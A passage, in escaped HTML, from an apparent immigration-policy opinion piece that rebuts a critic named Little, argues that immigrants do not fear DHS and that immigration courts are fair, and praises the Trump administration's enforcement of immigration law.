And she only seems to be able to support them with preposterous anecdotal claims, like the following \u201c\u2026 innocent children are especially vulnerable, afraid to go to school because their loved ones may not be home when they return.\u201d<\/p>\n<p>But those claims <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2017\/12\/21\/due-process-gone-wild-2\/\" target=\"_blank\" rel=\"noopener\">aren\u2019t borne out<\/a> by what average Americans see in the news each day:<\/p>\n<ul>\n<li>DACA recipients <a href=\"https:\/\/www.cnn.com\/2018\/03\/05\/politics\/daca-protests-arrests\/index.html\" target=\"_blank\" rel=\"noopener\">chain themselves<\/a> to congressional representatives\u2019 desks demanding that they be given amnesty.<\/li>\n<li>Entire communities of illegal aliens overtly protest, carrying signs that say, \u201c<a href=\"http:\/\/thehill.com\/homenews\/news\/335544-texas-state-reps-scuffle-amid-sanctuary-city-protest\" target=\"_blank\" rel=\"noopener\">I am illegal and here to stay<\/a>.\u201d<\/li>\n<li>And, demonstrating that they truly have no fear, immigrant groups have begun <a href=\"https:\/\/www.cbsnews.com\/news\/protesters-block-van-with-detained-woman-inside-at-customs-office\/\" target=\"_blank\" rel=\"noopener\">physically interfering<\/a> with Immigration and Customs Enforcement efforts to arrest and remove immigration violators.<\/li>\n<\/ul>\n<p>As a result, no rational observer actually believes that immigrants \u2013 whether here lawfully or illegally \u2013 are afraid of the Department of Homeland Security.<\/p>\n<p>The fact is, Little has gotten the issue exactly backwards. Over the past four decades, the biggest problem with American immigration law has been various presidents\u2019 willingness to <a href=\"https:\/\/www.nationalreview.com\/2014\/09\/immigration-policy-executive-fiat-fred-bauer\/\" target=\"_blank\" rel=\"noopener\">ignore large sections of it<\/a> in order to <a href=\"http:\/\/www.foxnews.com\/story\/2004\/01\/08\/bush-amnesty-plan-raises-immigration-concerns.html\" target=\"_blank\" rel=\"noopener\">pander to political constituencies<\/a>.<\/p>\n<p>But even when our immigration laws are vigorously enforced, nobody can claim that our system is \u201cunfair.\u201d All deportable foreigners, including the most vile illegal alien felons \u2013 murderers, rapists, child molesters \u2013 get a full and fair hearing in Immigration Court. In fact, in the <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2017\/07\/26\/never-ending-story-immigration-judicial-activism\/\" target=\"_blank\" rel=\"noopener\">vast majority of cases<\/a>, it seems as though \u201c<a href=\"https:\/\/townhall.com\/columnists\/michellemalkin\/2007\/06\/13\/it-aint-over-til-the-alien-wins-n1144207\" target=\"_blank\" rel=\"noopener\">it ain\u2019t over until the alien wins<\/a>.\u201d<\/p>\n<p>American immigration laws don\u2019t need to be reformed, they just need to be restored and followed. Fortunately the Trump administration sees itself as duty bound to enforce the laws of the United States, as written by Congress \u2013 rather than placating the <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2018\/05\/08\/illegal-alien-lawbreakers-supporters-put-ice-trial\/\" target=\"_blank\" rel=\"noopener\">immigration violator constituency<\/a> and their lawyers.
